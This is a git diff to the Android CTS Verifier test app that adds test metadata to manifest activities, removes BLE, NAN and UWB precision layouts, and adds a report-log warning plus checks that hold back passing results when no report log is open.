+            <meta-data android:name="CddTest" android:value="3.8.2/C-1-2,C-1-3" />
         </activity>
 
         <activity android:name=".deskclock.DeskClockTestsActivity"
@@ -4993,6 +5095,8 @@
                        android:value="android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback" />
         </activity>
 
         <activity android:name=".tv.TvInputDiscoveryTestActivity"
@@ -5056,6 +5160,7 @@
                 android:exported="true"
             android:launchMode="singleTask">
             <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
@@ -5064,6 +5169,8 @@
                 android:value="android.software.live_tv" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="3.12/C-1-2" />
         </activity>
 
         <activity android:name=".tv.MicrophoneDeviceTestActivity"
@@ -5145,6 +5252,7 @@
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="3.8.8/C-1-2"/>
         </activity>
 
         <activity android:name=".tv.MockTvInputSetupActivity"
@@ -5645,6 +5753,8 @@
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.content.Intent#CATEGORY_CAR_DOCK" />
         </activity>
 
         <activity android:name=".car.CarDockActivity"
@@ -5657,6 +5767,8 @@
             </intent-filter>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.content.Intent#CATEGORY_CAR_DOCK" />
         </activity>
 
         <!-- See explaination in CarDockTestActivity.java -->
@@ -5686,6 +5798,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_car" />
             <meta-data android:name="test_required_features"
                 android:value="android.hardware.type.automotive"/>
+            <meta-data android:name="CddTest" android:value="8.3/A-1-3|8.3/A-1-4" />
         </activity>
 
         <activity android:name=".car.PowerPolicyTestActivity"
@@ -5700,6 +5813,8 @@
                 android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.car.hardware.power.CarPowerManager#getCurrentPowerPolicy" />
         </activity>
 
         <activity-alias android:name=".car.CarDockActivity2"
@@ -5729,6 +5844,8 @@
                 android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.car.VehiclePropertyIds#GEAR_SELECTION" />
         </activity>
 
         <activity android:name=".car.ParkingBrakeOnTestActivity"
@@ -5744,6 +5861,8 @@
                 android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.car.VehiclePropertyIds#PARKING_BRAKE_ON" />
         </activity>
 
         <activity android:name=".car.CarLauncherTestActivity"
@@ -6188,6 +6307,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_logcat" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".displaycutout.DisplayCutoutTestActivity"
diff --git a/apps/CtsVerifier/res/layout/ble_rssi_precision.xml b/apps/CtsVerifier/res/layout/ble_rssi_precision.xml
deleted file mode 100644
index 5f01e1f..0000000
--- a/apps/CtsVerifier/res/layout/ble_rssi_precision.xml
+++ /dev/null
@@ -1,60 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical"
-    style="@style/RootLayoutPadding"
-    tools:ignore="Autofill">
-
-    <ScrollView
-        android:layout_width="fill_parent"
-        android:layout_height="wrap_content">
-
-        <LinearLayout
-            android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
-
-            <TextView
-                android:text="@string/ble_rssi_precision_test_instructions"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical" />
-
-            <EditText
-                android:id="@+id/report_rssi_range"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_ble_rssi_range"
-                android:inputType="number" />
-
-            <EditText
-                android:id="@+id/report_reference_device"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_reference_device"
-                android:inputType="text" />
-
-            <include
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml b/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml
deleted file mode 100644
index 3ca955b..0000000
--- a/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml
+++ /dev/null
@@ -1,66 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical"
-    style="@style/RootLayoutPadding"
-    tools:ignore="Autofill">
-
-    <ScrollView
-        android:layout_width="fill_parent"
-        android:layout_height="wrap_content">
-
-        <LinearLayout
-            android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
-
-            <TextView
-                android:text="@string/ble_rx_tx_calibration_test_instructions"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical" />
-
-            <EditText
-                android:id="@+id/report_channels_rssi_range"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_channels_ble_rssi_range"
-                android:inputType="number" />
-
-            <EditText
-                android:id="@+id/report_cores_rssi_range"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_cores_ble_rssi_range"
-                android:inputType="number" />
-
-            <EditText
-                android:id="@+id/report_reference_device"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_reference_device"
-                android:inputType="text" />
-
-            <include
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/clipboard_preview.xml b/apps/CtsVerifier/res/layout/clipboard_preview.xml
index 85f38c8..efec118 100644
--- a/apps/CtsVerifier/res/layout/clipboard_preview.xml
+++ b/apps/CtsVerifier/res/layout/clipboard_preview.xml
@@ -31,86 +31,6 @@
         android:layout_marginBottom="100dp"
         android:layout_marginTop="30dp"
         android:text="@string/clipboard_preview_test_copy_button"/>
-
-    <TableLayout
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content">
-        <TableRow
-            android:layout_width="match_parent"
-            android:layout_height="50dp">
-            <View android:layout_weight="3"
-                  android:layout_height="50dp"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b1"
-                    android:layout_width="50dp"
-                    android:layout_height="50dp"
-                    android:text="1"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b2"
-                    android:layout_width="50dp"
-                    android:layout_height="50dp"
-                    android:text="2"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b3"
-                    android:layout_width="50dp"
-                    android:layout_height="50dp"
-                    android:text="3"/>
-            <View android:layout_weight="3"
-                  android:layout_height="50dp"/>
-        </TableRow>
-        <TableRow
-            android:layout_width="match_parent"
-            android:layout_height="50dp">
-            <View android:layout_weight="3"
-                  android:layout_height="50dp"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b4"
-                    android:layout_width="50dp"
-                    android:layout_height="50dp"
-                    android:text="4"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b5"
-                    android:layout_width="50dp"
-                    android:layout_height="50dp"
-                    android:text="5"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b6"
-                    android:layout_width="50dp"
-                    android:layout_height="50dp"
-                    android:text="6"/>
-            <View android:layout_weight="3"
-                  android:layout_height="50dp"/>
-        </TableRow>
-        <TableRow
-            android:layout_width="match_parent"
-            android:layout_height="50dp">
-            <View android:layout_weight="3"
-                  android:layout_height="match_parent"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b7"
-                    android:layout_width="50dp"
-                    android:layout_height="match_parent"
-                    android:text="7"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b8"
-                    android:layout_width="50dp"
-                    android:layout_height="match_parent"
-                    android:text="8"/>
-            <Button android:layout_weight="1"
-                    android:id="@+id/clipboard_preview_test_b9"
-                    android:layout_width="50dp"
-                    android:layout_height="match_parent"
-                    android:text="9"/>
-            <View android:layout_weight="3"
-                  android:layout_height="50dp"/>
-        </TableRow>
-    </TableLayout>
-    <Button
-        android:id="@+id/clipboard_preview_test_b0"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_gravity="center"
-        android:text="0"/>
     <include
         android:id="@+id/clipboard_preview_test_pass_fail"
         android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/nan_precision.xml b/apps/CtsVerifier/res/layout/nan_precision.xml
deleted file mode 100644
index c81a9c4..0000000
--- a/apps/CtsVerifier/res/layout/nan_precision.xml
+++ /dev/null
@@ -1,92 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                android:orientation="vertical"
-                style="@style/RootLayoutPadding">
-    <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="fill_parent"
-                android:layout_height="wrap_content">
-        <LinearLayout android:orientation="vertical"
-                      android:layout_width="match_parent"
-                      android:layout_height="wrap_content">
-            <TextView android:text="@string/nan_precision_instruction"
-                      android:id="@+id/nan_precision_instruction"
-                      android:layout_width="wrap_content"
-                      android:layout_height="wrap_content"
-                      android:scrollbars="vertical"/>
-            <LinearLayout android:orientation="vertical"
-                          android:layout_width="match_parent"
-                          android:layout_height="wrap_content">
-                <EditText android:id="@+id/nan_bandwidth"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="number"
-                          android:hint="@string/report_nan_bandwidth_mhz"/>
-                <EditText android:id="@+id/distance_range_10cm_gt_68p"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_10cm_gt_68p"/>
-                <EditText android:id="@+id/distance_range_1m_gt_68p"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_1m_gt_68p"/>
-                <EditText android:id="@+id/distance_range_3m_gt_68p"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_3m_gt_68p"/>
-                <EditText android:id="@+id/distance_range_5m_gt_68p"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_5m_gt_68p"/>
-                <EditText android:id="@+id/distance_range_10cm_gt_90p"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_10cm_gt_90p"/>
-                <EditText android:id="@+id/distance_range_1m_gt_90p"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_1m_gt_90p"/>
-                <EditText android:id="@+id/distance_range_3m_gt_90p"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_3m_gt_90p"/>
-                <EditText android:id="@+id/distance_range_5m_gt_90p"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_5m_gt_90p"/>
-                <EditText android:id="@+id/reference_device"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:hint="@string/report_reference_device"/>
-            </LinearLayout>
-
-            <include android:layout_width="match_parent"
-                     android:layout_height="wrap_content"
-                     layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/uwb_precision.xml b/apps/CtsVerifier/res/layout/uwb_precision.xml
deleted file mode 100644
index 14e996d..0000000
--- a/apps/CtsVerifier/res/layout/uwb_precision.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2022 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                android:orientation="vertical"
-                style="@style/RootLayoutPadding">
-    <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="fill_parent"
-                android:layout_height="wrap_content">
-        <LinearLayout android:orientation="vertical"
-                      android:layout_width="match_parent"
-                      android:layout_height="wrap_content">
-            <TextView android:text="@string/uwb_precision_instruction"
-                      android:id="@+id/uwb_precision_instruction"
-                      android:layout_width="wrap_content"
-                      android:layout_height="wrap_content"
-                      android:scrollbars="vertical"/>
-            <LinearLayout android:orientation="vertical"
-                          android:layout_width="match_parent"
-                          android:layout_height="wrap_content">
-                <EditText android:id="@+id/distance_range_cm"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_distance_range_cm"/>
-                <EditText android:id="@+id/reference_device"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:hint="@string/report_reference_device"/>
-            </LinearLayout>
-
-            <include android:layout_width="match_parent"
-                     android:layout_height="wrap_content"
-                     layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/uwb_short_range.xml b/apps/CtsVerifier/res/layout/uwb_short_range.xml
deleted file mode 100644
index 9afc6e5..0000000
--- a/apps/CtsVerifier/res/layout/uwb_short_range.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2022 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical"
-        style="@style/RootLayoutPadding">
-    <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-            android:layout_width="fill_parent"
-            android:layout_height="wrap_content">
-        <LinearLayout android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
-            <TextView android:text="@string/uwb_short_range_instruction"
-                    android:id="@+id/uwb_short_range_instruction"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:scrollbars="vertical"/>
-            <LinearLayout android:orientation="vertical"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content">
-                <EditText android:id="@+id/distance_median_meters"
-                        android:layout_width="wrap_content"
-                          android:inputType="numberDecimal"
-                        android:layout_height="wrap_content"
-                        android:hint="@string/report_distance_median_meters"/>
-                <EditText android:id="@+id/reference_device"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:hint="@string/report_reference_device"/>
-            </LinearLayout>
-
-            <include android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index b39b8cc..36d4632 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -32,6 +32,16 @@
     <string name="finish_button_text">Finish</string>
     <string name="fail_and_next_button_text">Fail and Next</string>
 
+    <!-- Strings for CtsReportLog warning -->
+    <string name="reportlog_warning_title">CTS-Verifier Report Log</string>
+    <string name="reportlog_warning_body">Can\'t create folder for CTS-Verifier Report Logs.
+        \n\nPlease enable Report Log creation by exiting CTS Verifier and running the following commands:
+        \n\n<code>adb shell appops set com.android.cts.verifier android:read_device_identifiers allow</code>
+        \n\n<code>adb shell appops set com.android.cts.verifier MANAGE_EXTERNAL_STORAGE 0</code>
+        \n\nTest instructions are found in the \"Using CTS Verifier\" document found at
+        <a href="https://source.android.com/compatibility/cts/verifier">https://source.android.com/compatibility/cts/verifier</a>
+    </string>
+
     <!-- Strings for TestListActivity -->
     <string name="test_category_audio">Audio</string>
     <string name="test_category_camera">Camera</string>
@@ -301,9 +311,12 @@
     </string>
     <string name="clipboard_preview_test_instructions">
         Press the \'Copy\' button to copy the secret code to the clipboard.
-        \n\nUse the clipboard preview UI, or the clipboard editor component to view the secret code.
-        \n\nEnter the secret code using the buttons below.
+        \nDo not press any other buttons after you press the \'Copy\' button.
+        \n\n If nothing happens, press Fail.
+        \n\n If you see the word "FAIL" appear on screen, press Fail.
+        \n\n If you see a confirmation that content has been copied to the clipboard, press Pass.
     </string>
+    <string name="clipboard_preview_test_secret">FAIL</string>
     <string name="clipboard_preview_test_copy_button">Copy</string>
 
 
@@ -778,7 +791,7 @@
     <!-- BLE Advertising Set test strings -->
     <string name="ble_advertising_set_test_name">Bluetooth LE Advertising Set Test</string>
     <string name="ble_advertising_set_test_info">Bluetooth LE Advertising Set tests AdvertisingSet and AdvertisingSetCallback APIs.</string>
-    <string name="ble_advertising_set_test_instruction">Press the \"Set Up\" button first, then start the test by pressing the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
+    <string name="ble_advertising_set_test_instruction">Press the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
     <string name="ble_advertising_set_start_test">Start Test</string>
     <string name="ble_advertising_set_running_test">Running Test...</string>
     <string name="ble_advertising_set_finished_test">Finished Test</string>
@@ -2125,10 +2138,6 @@
         device was p2p device. Check the test case on the other device.</string>
     <string name="p2p_connection_error">
         Test failed.\n\nFailed to establish a p2p connection.</string>
-    <string name="p2p_connection_latency_error">
-        Test failed. \n\nConnection was expected to be established within %1$dms. But took=%2$dms.
-        \n\nPlease ensure that the Group Owner is ready on the other device before running
-        this test</string>
     <string name="p2p_detect_disconnection_error">
         Test failed.\n\nFailed to detect client disconnection.</string>
     <string name="p2p_disconnect_error">
@@ -5480,6 +5489,7 @@
     <string name="audio_general_test_not_run">Test Not Run</string>
     <string name="audio_general_testnotcompleted">Test not completed.</string>
 
+    <string name="audio_general_reportlogtest">[Can\'t Write ReportLog]</string>
 
     <!-- Audio Loopback Latency Test -->
     <string name="audio_loopback_latency_test">Audio Loopback Latency Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
index b013bb7..a93e3b5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
@@ -74,6 +74,10 @@
         }
     }
 
+    public boolean isOpen() {
+        return mStore != null;
+    }
+
     /**
      * Closes report file. Static functions that do not have access to instrumentation can
      * use this to close report logs. Summary, if present, is not reported to instrumentation, hence
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 0294ff7..36975c2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -32,7 +32,6 @@
 import android.os.Bundle;
 import android.os.PowerManager;
 import android.os.PowerManager.WakeLock;
-import android.util.Log;
 import android.view.LayoutInflater;
 import android.view.MenuItem;
 import android.view.View;
@@ -143,11 +142,13 @@
 
     public static class Activity extends android.app.Activity implements PassFailActivity {
         private WakeLock mWakeLock;
-        private final CtsVerifierReportLog mReportLog;
+        private CtsVerifierReportLog mReportLog;
         private final TestResultHistoryCollection mHistoryCollection;
 
+        protected boolean mRequireReportLogToPass;
+
         public Activity() {
-            this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
+            newReportLog();
             this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
@@ -159,6 +160,10 @@
                         .newWakeLock(PowerManager.SCREEN_DIM_WAKE_LOCK, "PassFailButtons");
                 mWakeLock.acquire();
             }
+
+            if (!this.mReportLog.isOpen()) {
+                showReportLogWarningDialog(this);
+            }
         }
 
         @Override
@@ -206,12 +211,25 @@
                     getHistoryCollection());
         }
 
+        protected CtsVerifierReportLog newReportLog() {
+            return mReportLog = new CtsVerifierReportLog(
+                    getReportFileName(), getReportSectionName());
+        }
+
         @Override
         public CtsVerifierReportLog getReportLog() {
             return mReportLog;
         }
 
         /**
+         * A mechanism to block tests from passing if no ReportLog data has been collected.
+         * @return true if the ReportLog is open OR if the test does not require that.
+         */
+        public boolean isReportLogOkToPass() {
+            return !mRequireReportLogToPass || mReportLog.isOpen();
+        }
+
+        /**
          * @return The name of the file to store the (suite of) ReportLog information.
          */
         @Override
@@ -527,6 +545,12 @@
         activity.showDialog(INFO_DIALOG_ID, args);
     }
 
+    protected static void showReportLogWarningDialog(final android.app.Activity activity) {
+        showInfoDialog(activity,
+                R.string.reportlog_warning_title, R.string.reportlog_warning_body, -1);
+    }
+
+
     protected static Dialog createDialog(final android.app.Activity activity, int id, Bundle args) {
         switch (id) {
             case INFO_DIALOG_ID:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 528d914..83b32de 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -182,12 +182,15 @@
             mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass_noheadset));
             return true;
         } else {
-            boolean pass = mPlugIntentReceived &&
-                    mHeadsetDeviceInfo != null &&
-                    mPlaybackSuccess &&
-                    (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
+            boolean pass = isReportLogOkToPass()
+                    && mPlugIntentReceived
+                    && mHeadsetDeviceInfo != null
+                    && mPlaybackSuccess
+                    && (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
             if (pass) {
                 mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass));
+            } else if (!isReportLogOkToPass()) {
+                mResultsTxt.setText(getResources().getString(R.string.audio_general_reportlogtest));
             }
             return pass;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
index 6b9bf05..3f1266e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
@@ -496,8 +496,10 @@
             Log.v(TAG, "Test EndedOk. " + testId + " str:"+str);
             showProgressIndicator(false);
             mResultTest.setText("test completed. " + str);
-            if (mTestAECPassed) {
-                getPassButton().setEnabled(true);;
+            if (!isReportLogOkToPass()) {
+                mResultTest.setText(getResources().getString(R.string.audio_general_reportlogtest));
+            } else if (mTestAECPassed) {
+                getPassButton().setEnabled(true);
             }
         }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
index 38d99b4..030e44f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
@@ -32,6 +32,7 @@
 
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioDeviceUtils;
 import com.android.cts.verifier.CtsVerifierReportLog;
 import com.android.cts.verifier.R;
 
@@ -127,14 +128,8 @@
             String msg = mContext.getResources().getString(
                     R.string.audio_routingnotification_recordRoutingMsg);
             AudioDeviceInfo routedDevice = audioRecord.getRoutedDevice();
-            CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none";
-            mConnectedPeripheralName = deviceName.toString();
-
-            int deviceType = routedDevice != null ? routedDevice.getType() : -1;
-            textView.setText(msg + " - " +
-                             deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
-                             " - " + mNumRoutingNotifications);
-
+            mConnectedPeripheralName = AudioDeviceUtils.formatDeviceName(routedDevice);
+            textView.setText(msg + ": " + mConnectedPeripheralName);
             mRoutingNotificationReceived = true;
             calculatePass();
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index a6bd4ad..413734b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -127,11 +127,11 @@
 
     private TestSpec[] mTestSpecs = new TestSpec[NUM_TEST_ROUTES];
     class TestSpec {
+        private static final String TAG = "AudioLoopbackLatencyActivity.TestSpec";
         // impossibly low latencies (indicating something in the test went wrong).
         protected static final double LOWEST_REASONABLE_LATENCY_MILLIS = 1.0;
 
         final int mRouteId;
-        // final double mMustLatencyMS;
 
         // runtime assigned device ID
         static final int DEVICEID_NONE = -1;
@@ -151,7 +151,6 @@
         boolean mRouteAvailable; // Have we seen this route/device at any time
         boolean mRouteConnected; // is the route available NOW
         boolean mTestRun;
-        // boolean mTestPass;
 
         TestSpec(int routeId, double requiredConfidence) {
             mRouteId = routeId;
@@ -181,14 +180,6 @@
             mMeanConfidence = StatUtils.calculateMean(mConfidence);
         }
 
-        boolean getRouteAvailable() {
-            return mRouteAvailable;
-        }
-
-        boolean getTestRun() {
-            return mTestRun;
-        }
-
         boolean isMeasurementValid() {
             return mTestRun && mMeanLatencyMS > 1.0 && mMeanConfidence >= mRequiredConfidence;
         }
